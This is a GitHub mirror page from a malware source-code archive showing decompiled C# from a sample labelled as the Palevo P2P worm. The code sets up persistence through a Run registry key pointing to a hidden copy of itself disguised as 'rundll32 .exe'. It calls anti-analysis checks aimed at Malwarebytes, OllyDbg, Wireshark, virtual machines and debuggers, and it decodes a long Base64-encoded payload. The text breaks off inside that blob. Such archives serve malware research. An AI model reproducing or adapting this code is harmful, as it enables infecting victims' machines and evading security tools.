mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
f2ac1ece55
add
640 lines
60 KiB
C#
640 lines
60 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: pizde
|
|
// Assembly: 66666, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 2453255D-06D9-4B55-8A59-D5B108E7DFD5
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\P2P-Worm.Win32.Palevo.brve-9b61103439b8a1658e33fb5703e4aadf6efdfa53a324dd37c2154a483860cf80.exe
|
|
|
|
using Microsoft.VisualBasic;
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using My;
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Runtime.InteropServices;
|
|
using System.Security.Cryptography;
|
|
using System.Text;
|
|
using System.Windows.Forms;
|
|
|
|
[StandardModule]
|
|
internal sealed class pizde
|
|
{
|
|
private static string iohouh7877 = "hhhhhhhhhheeeee";
|
|
private static string HostEditing = "%28%";
|
|
private static string antis = "%29%";
|
|
private static string stuff = "%something%";
|
|
private static object Devices;
|
|
private static string Grafikadapter;
|
|
private static string RegionA = "SELECT * FROM Win32_VideoController";
|
|
|
|
[STAThread]
|
|
public static void Main()
|
|
{
|
|
label_0:
|
|
int num1;
|
|
int num2;
|
|
try
|
|
{
|
|
ProjectData.ClearProjectError();
|
|
num1 = 1;
|
|
label_1:
|
|
int num3 = 2;
|
|
string processName = Process.GetCurrentProcess().ProcessName;
|
|
label_2:
|
|
num3 = 3;
|
|
Process.GetProcessesByName(processName);
|
|
label_3:
|
|
num3 = 4;
|
|
if (Operators.CompareString(pizde.iohouh7877, "hhhhhhhhhheeeee", false) != 0)
|
|
goto label_11;
|
|
label_4:
|
|
num3 = 5;
|
|
object tempPath1 = (object) Path.GetTempPath();
|
|
label_5:
|
|
num3 = 6;
|
|
object executablePath = (object) Application.ExecutablePath;
|
|
label_6:
|
|
num3 = 7;
|
|
object fullPath = (object) Path.GetFullPath(Conversions.ToString(executablePath));
|
|
label_7:
|
|
num3 = 8;
|
|
FileAttributes fileAttributes1 = FileAttributes.Hidden | FileAttributes.System;
|
|
label_8:
|
|
num3 = 9;
|
|
MyProject.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("rundll32", Operators.ConcatenateObject(tempPath1, (object) "rundll32 .exe"));
|
|
label_9:
|
|
num3 = 10;
|
|
FileSystem.FileCopy(Conversions.ToString(fullPath), Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath1, (object) "\\"), (object) "rundll32 .exe")));
|
|
label_10:
|
|
num3 = 11;
|
|
File.SetAttributes(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath1, (object) "\\"), (object) "rundll32 .exe")), fileAttributes1);
|
|
label_11:
|
|
num3 = 13;
|
|
if (Operators.CompareString(pizde.HostEditing, "hhhhhhhhhheeeee", false) != 0)
|
|
goto label_13;
|
|
label_12:
|
|
num3 = 14;
|
|
pizde.HostEdit();
|
|
goto label_14;
|
|
label_13:
|
|
num3 = 16;
|
|
label_14:
|
|
num3 = 18;
|
|
pizde.AntiMalwarebytes();
|
|
label_15:
|
|
num3 = 19;
|
|
pizde.AntiOllydbg();
|
|
label_16:
|
|
num3 = 20;
|
|
pizde.AntiWireshark();
|
|
label_17:
|
|
num3 = 21;
|
|
pizde.AntiVirtualBox();
|
|
label_18:
|
|
num3 = 22;
|
|
pizde.AntiVirtualPC();
|
|
label_19:
|
|
num3 = 23;
|
|
pizde.AntiVmWare();
|
|
label_20:
|
|
num3 = 24;
|
|
pizde.IsDebuggerPresent();
|
|
label_21:
|
|
num3 = 25;
|
|
string str1;
|
|
string s1 = str1;
|
|
label_22:
|
|
num3 = 26;
|
|
pizde.okitokjwe33(Convert.FromBase64String(s1));
|
|
label_23:
|
|
num3 = 27;
|
|
string s2 = "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